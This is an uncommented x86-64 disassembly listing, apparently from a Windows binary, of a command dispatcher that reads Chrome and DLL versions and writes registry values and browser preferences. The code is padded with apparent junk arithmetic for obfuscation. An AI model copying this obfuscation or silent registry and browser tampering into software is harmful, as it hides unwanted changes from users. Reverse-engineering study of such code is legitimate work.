lea ecx, [rbx + 1]
imul ecx, ebx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x15
jne 0x140063b6f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401c4d60], eax
mov rbx, qword [rsp + 0x2a0]
test rbx, rbx
je 0x14006459f
test r13, r13
je 0x14006459f
mov r8, rbx
lea rdx, [rsp + 0x80]
call fcn.140067d30
test al, al
je 0x14006459f
mov r8, r13
lea rdx, [rsp + 0x90]
call fcn.140067d30
test al, al
je 0x14006459f
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x788], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.140062690
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4d8], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r13
mov rcx, r13
call fcn.140062690
mov rbx, qword [r14 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x998], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xd28], rcx
mov edx, 0x5c
call fcn.1400d0bb8
mov rcx, rax
mov qword [rsp + 0x9a8], rax
test rax, rax
jne 0x140063c40
mov ecx, r15d
jmp 0x140063c51
mov rax, qword [rbx]
mov qword [rsp + 0xfc8], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r14 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xc0]
call fcn.140027d30
nop
mov rax, qword [r14 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x9b8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xd38], rcx
call fcn.140002400
mov qword [rsp + 0x9c8], rax
add rax, 0x18
mov qword [rsp + 0x1a8], rax
mov rbx, qword [r14 + 0x40]
add rbx, 0x2cc
mov qword [rsp + 0x290], rbx
mov ecx, dword [0x1401c4d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 0xf
jne 0x140063d0d
lea ecx, [r8 - 0xb]
call fcn.1400cea88
mov rcx, rax
mov qword [rsp + 0xf48], rax
mov eax, dword [0x1401c4d60]
mov dword [rcx], eax
mov edx, dword [rbx]
lea rcx, [rsp + 0x36b0]
call fcn.140062170
mov qword [rsp + 0x9d8], rax
cmp qword [rax + 0x18], 0x10
jb 0x140063d2e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5c8]
call fcn.140003170
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x5b8]
call fcn.14001a720
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x198]
call fcn.14000f690
nop
mov rcx, qword [rsp + 0x5b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x718], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063da4
mov rdx, qword [rsp + 0x718]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063dd6
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x36c8], 0x10
jb 0x140063dee
mov rcx, qword [rsp + 0x36b0]
call fcn.1400ce2b0
mov qword [rsp + 0x36c8], 0xf
mov qword [rsp + 0x36c0], rdi
mov byte [rsp + 0x36b0], 0
mov rax, qword [rsp + 0x290]
mov edx, dword [rax]
lea rcx, [rsp + 0x36d0]
call fcn.140062170
mov qword [rsp + 0xd48], rax
cmp qword [rax + 0x18], 0x10
jb 0x140063e33
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5e8]
call fcn.140003170
mov rbx, rax
lea r8, [0x140153538]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x5d8]
call fcn.14001a720
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.14000f690
nop
mov rcx, qword [rsp + 0x5d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x728], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063ea9
mov rdx, qword [rsp + 0x728]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x848], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063edb
mov rdx, qword [rsp + 0x848]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x36e8], 0x10
jb 0x140063ef3
mov rcx, qword [rsp + 0x36d0]
call fcn.1400ce2b0
mov qword [rsp + 0x36e8], 0xf
mov qword [rsp + 0x36e0], rdi
mov byte [rsp + 0x36d0], 0
mov rcx, qword [rsp + 0x290]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x3710]
call fcn.140062170
mov qword [rsp + 0x9e8], rax
cmp qword [rax + 0x18], 0x10
jb 0x140063f3d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x608]
call fcn.140003170
mov rbx, rax
lea r8, [0x140153548]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x5f8]
call fcn.14001a720
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x178]
call fcn.14000f690
nop
mov rcx, qword [rsp + 0x5f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x738], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063fb3
mov rdx, qword [rsp + 0x738]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x608]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063fe5
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3728], 0x10
jb 0x140063ffd
mov rcx, qword [rsp + 0x3710]
call fcn.1400ce2b0
mov qword [rsp + 0x3728], 0xf
mov qword [rsp + 0x3720], rdi
mov byte [rsp + 0x3710], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1a8]
mov rcx, qword [r14 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400642fe
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x6a8], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r13, qword [rsp + 0x2a0]
mov qword [rsp + 0x20], r13
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x198]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400642fe
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x220]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400642fe
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4e8], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x618]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400642fe
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0xc0]
mov rcx, r14
call fcn.140067ee0
mov rcx, rbx
call fcn.1400cecbc
mov rcx, r13
call fcn.1400cecbc
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rsi, rsi
je 0x14006416d
mov r14d, 0xb
mov word [rsi], r14w
mov word [rsi + 8], r15w
mov eax, dword [0x1401c4d60]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 9
jne 0x1400641a1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
nop
mov rcx, qword [rsp + 0x178]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x748], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400641d3
mov rdx, qword [rsp + 0x748]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x188]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064205
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x198]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x828], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064237
mov rdx, qword [rsp + 0x828]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064269
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x408], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006429b
mov rdx, qword [rsp + 0x408]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x410], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400642cd
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x420], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067b8f
mov rdx, qword [rsp + 0x420]
jmp 0x140067b86
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 0xd
jne 0x140064377
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400cd918
mov qword [rsp + 0xfd8], rax
mov rcx, rax
call fcn.1400cf37c
test rsi, rsi
je 0x14006438a
mov r14d, 0xb
mov word [rsi], r14w
mov word [rsi + 8], di
mov rcx, qword [rsp + 0x178]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x430], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400643bc
mov rdx, qword [rsp + 0x430]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x188]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x440], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400643ee
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x198]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x450], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064420
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x460], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064452
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x470], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064484
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x480], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400644b6
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x490], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400644e8
mov rdx, qword [rsp + 0x490]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064517
mov rdx, qword [rsp + 0x4a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x14006452f
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006457a
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
xor bl, bl
mov r13, qword [rsp + 0x40]
jmp 0x140067cd7
test rsi, rsi
je 0x1400645b2
mov r14d, 0xb
mov word [rsi], r14w
mov word [rsi + 8], di
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400645e4
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064616
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064645
mov rdx, qword [rsp + 0x4e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x14006465d
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400646a8
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
xor bl, bl
mov r13, qword [rsp + 0x40]
jmp 0x140067cd7
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140064946
test rsi, rsi
je 0x140067b8f
lea rcx, [rsp + 0x500]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x1b8], rdi
mov r8d, dword [0x1401c4d60]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xb
jne 0x14006478e
mov ecx, edi
mov dword [rsp + 0x180], ecx
nop dword [rax]
mov eax, 0x82082083
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x3f
mov eax, r8d
sub eax, edx
cmp eax, 0x2d
je 0x140064788
mov eax, r8d
or eax, 0xffffffcc
add r8d, eax
mov dword [0x1401c4d60], r8d
inc ecx
mov dword [rsp + 0x180], ecx
mov eax, r8d
imul eax, r8d
cmp ecx, eax
jg 0x140064788
jmp 0x140064740
mov dword [0x1401c4d60], ecx
mov rcx, qword [rsp + 0x500]
mov qword [rsp + 0x1b8], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x1b8], rdx
lea rcx, [0x1401bc9a8]
mov rax, qword [0x1401bc9a8]
call qword [rax + 0x18]
mov qword [rsp + 0x9f8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x2a8], rbx
mov dword [rsp + 0xe0], edi
cmp edi, 8
jge 0x14006489c
lea rcx, [0x1401bc9a8]
mov rax, qword [0x1401bc9a8]
call qword [rax + 0x18]
mov qword [rsp + 0xd58], rax
add rax, 0x18
mov qword [rsp + 0x378], rax
movsxd rax, edi
movzx r8d, byte [rsp + rax + 0x1b8]
lea rdx, str._.2x
lea rcx, [rsp + 0x378]
call fcn.1400119e0
mov rbx, qword [rsp + 0x378]
mov r8d, dword [rbx - 0x10]
mov dword [rsp + 0x830], r8d
mov rdx, rbx
lea rcx, [rsp + 0x2a8]
call fcn.140010150
nop
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006487f
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edi, dword [rsp + 0xe0]
inc edi
mov dword [rsp + 0xe0], edi
mov rbx, qword [rsp + 0x2a8]
jmp 0x1400647e3
mov edx, dword [rbx - 0x10]
mov dword [rsp + 0x868], edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa08], rax
test rax, rax
jne 0x1400648c1
call fcn.140002490
mov qword [rsi + 8], rax
mov ecx, dword [0x1401c4d60]
imul ecx, ecx
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0x11
jne 0x140064915
mov ecx, 4
call fcn.1400cea88
mov rdi, rax
mov qword [rsp + 0xf68], rax
call fcn.1400cebc4
mov dword [rdi], eax
mov dword [0x1401c4d60], eax
mov rcx, rdi
call fcn.1400ce2b0
mov eax, 8
mov word [rsi], ax
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140067b8f
mov rdx, qword [rsp + 0x520]
jmp 0x140067b86
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140064a2a
lea rdx, [rsp + 0x338]
mov rcx, qword [r14 + 0x40]
call fcn.140062470
nop
mov ecx, dword [0x1401c4d60]
imul ecx, ecx
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 8
jne 0x1400649be
mov ecx, 4
call fcn.1400cea88
mov rbx, rax
mov qword [rsp + 0xa18], rax
call fcn.1400cebc4
mov dword [rbx], eax
mov dword [0x1401c4d60], eax
mov rcx, rbx
call fcn.1400ce2b0
test rsi, rsi
je 0x1400649f9
mov rcx, qword [rsp + 0x338]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x758], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd68], rax
test rax, rax
jne 0x1400649ed
call fcn.140002490
mov qword [rsi + 8], rax
mov eax, 8
mov word [rsi], ax
mov rcx, qword [rsp + 0x338]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067b8f
mov rdx, qword [rsp + 0x530]
jmp 0x140067b86
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140064af7
lea rdx, [rsp + 0x2b8]
mov rcx, qword [r14 + 0x40]
call fcn.1400624c0
nop
test rsi, rsi
je 0x140064a90
mov rcx, qword [rsp + 0x2b8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x418], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa28], rax
test rax, rax
jne 0x140064a84
call fcn.140002490
mov qword [rsi + 8], rax
mov eax, 8
mov word [rsi], ax
mov eax, dword [0x1401c4d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0xb
jne 0x140064ac6
lea rcx, [rsp + 0x38e0]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
nop
mov rcx, qword [rsp + 0x2b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067b8f
mov rdx, qword [rsp + 0x540]
jmp 0x140067b86
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x14006759c
lea rdx, str.getIntPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x14006759c
lea rdx, str.setCharPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x1400650ab
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xfe8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa38], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xd78], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa48], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xff8], rax
lea rdx, [0x1401535f8]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa58], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
mov byte [rsp + 0x52], 0
mov qword [rsp + 0x1c8], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xd88], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0xa68], rax
cmp rax, r12
je 0x140064ec3
mov eax, dword [0x1401c4d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
mov eax, dword [rsp + 0x11f0]
cmp ecx, 0xb
cmove eax, edi
mov dword [rsp + 0x11f0], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xf80], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa78], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd98], rdx
lea rcx, [rsp + 0x3c8]
call fcn.140003170
nop
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x1c8], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x3c8]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1c8], rbx
mov rcx, qword [rsp + 0x3c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064d1e
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x1c8]
test rbx, rbx
je 0x140064ec3
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xa88], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x1008], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa98], rdx
lea rcx, [rsp + 0x2d8]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xda8], rax
lea rdx, [0x1401535f8]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xaa8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf90], rdx
lea rcx, [rsp + 0x348]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xab8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xdb8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xac8], rdx
lea rcx, [rsp + 0x2c8]
call fcn.140003170
nop
mov r9, rbx
lea r8, [rsp + 0x2d8]
lea rdx, [rsp + 0x348]
lea rcx, [rsp + 0x2c8]
call fcn.1400498b0
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x2c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064e60
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064e92
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065085
mov rdx, qword [rsp + 0x580]
jmp 0x14006507c
lea rax, [rsp + 0x590]
mov qword [rsp + 0x1010], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xad8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
